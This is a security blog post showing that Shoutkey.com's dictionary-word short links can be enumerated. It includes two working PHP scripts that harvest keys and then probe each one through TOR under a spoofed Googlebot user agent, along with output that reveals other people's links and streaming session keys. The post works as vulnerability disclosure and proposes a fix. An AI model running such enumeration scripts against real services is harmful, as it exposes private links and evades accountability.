Shoutkey.com is insecure by design

by atxsec

There are a ton of short-url generating services out there like tinyurl and even Google’s url shortening service. One of my favorite of these services is a website called Shoutkey.com. What is so special about Shoutkey?

Well, Shoutkey by design uses words that could be found within a standard English dictionary. Meaning when you create a short-link using the website the end result isn’t some randomly generated URL — it’s based on a dictionary word. On the record: I’m a huge fan of Shoutkey. Let’s look at an example of these two types of services side by side and observe how their link structure vary.
a Tinyurl example
http://tinyurl.com/8kp
a shoutkey example
http://shoutkey.com/armchair
One might use Shoutkey as compared to Tinyurl so they can share the word with the person instead of sending them the direct link; the short-url can be easily shared via speech. Now, this is obviously flawed as in theory someone could automate creating short links to build a dictionary from Shoutkey so they could test it for valid links.

Nah, that’s too much time to dedicate and most likely wouldn’t even work…or would it?

Also, in the case of ethics. The information obtained through this method is from publicly exposed data — just automated. I searched thoroughly on the website to see if I could find a sort of Terms of Service or Acceptable Use Policy; but there was nothing. Not only that, but the websites creator looks like a jolly fellow who might even enjoy a blog post such as this.

I suppose in order to spy on the created links within Shoutkey, we would need to build a dictionary list of ‘keys’ to test. Normally I would use a stock dictionary like the one that comes in most distro’s located in /usr/share/dict/words, but after some research it seems that list is huge and I would like to make sure I did not spend years testing. Therefore I wrote this script to create a short-url to google on Shoutkey, and print the key that it was assigned. I ran it using a BASH one-liner with a sleeper enabled to prevent from flooding the server with POST requests.

#!/usr/bin/php
<?php
// educational and research uses only
require "simple_html_dom.php";
$curl = curl_init();
$postdata = array(
                'url' => 'http://google.com/',
                'ttl' => 300, //5 minutes of life for our link
                'mysubmit' => 'Shout+it%21',
);
$opts = array(
                CURLOPT_PROXY => "socks5://localhost:9050",
                CURLOPT_URL => "http://shoutkey.com/new",
                CURLOPT_HEADER => true,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_USERAGENT => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
                CURLOPT_POSTFIELDS => $postdata,
        );
$postdata = http_build_query($postdata);
curl_setopt_array($curl,$opts);
$pagedata = curl_exec($curl);
$scrape = str_get_html($pagedata)->find('a',7)->plaintext;
print substr($scrape,20) . "\n";
curl_close($curl);
?>

Using the above code I was able to build a small dictionary of keys that the site uses. From here I wrote code that would check each key to see if it was valid. If the key was in use, it prints the key name and the URL the key was assigned.

#!/usr/bin/php
<?php
// educational and research uses only
$keys = file("./keys.txt");
foreach($keys as $key){
$curl = curl_init();
$opts = array(
                CURLOPT_PROXY => "socks5://localhost:9050",
                CURLOPT_URL => "http://shoutkey.com/$key",
                CURLOPT_HEADER => true,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_USERAGENT => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
);
curl_setopt_array($curl,$opts);
curl_exec($curl);
$req = curl_getinfo($curl);
if($req['http_code'] == 302){
        print $req['url'] . " => " . $req['redirect_url'] . "\n";
}
sleep(0.5);
curl_close($curl);
}
?>

So in the above code you can see we’re curl’ing each key in our dictionary and checking the returned HTTP status code, also bouncing our request through TOR (and user-agent set to impersonate Google). If the code returned is a 302 (redirect) then we print data about the request including the key’s URL and the destination of the redirect (the URL the key is assigned to). It looks like my proof of concept worked! Using the dictionary of keys I built I was able to find a few links that started with the letter a (that was the only range I tested).

dustin@atxsec shoutkey-poc $ ./testkeys.php
http://shoutkey.com/abstain => http://stream79a-he.grooveshark.com/stream.php?streamKey=cd1bb93b7b094fd54682484f287bec1cb3c5fde5_53128e90_1d617d5_218fd43_1174852d1_1_0
http://shoutkey.com/amalgamate => http://www.stg.nytimes.com/projects/oscars/2014/red-carpet/?slide=1
http://shoutkey.com/anticipation => http://stream80d.grooveshark.com/stream.php?streamKey=510ccfed953b7443ed506d6720e5fa815b314e87_5312923a_1df24bc_2261ac5_11749410d_1_0

This is the reason that most of the services offering short URL generation use randomly generated links. Although it completely defeats the purpose of Shoutkey, there could be improvements to the system. For instance, each key can require a pin in order access the key’s link.

Why is this bad?

  • Links generated should be only for the eyes of the sender and receiver, not a third party.
  • This method could be utilized to collect metadata about data submitted to Shoutkey.
  • Some links passed through Shoutkey may contain private information

This further tells us to be weary of the services we use, and the secrets that we tell them.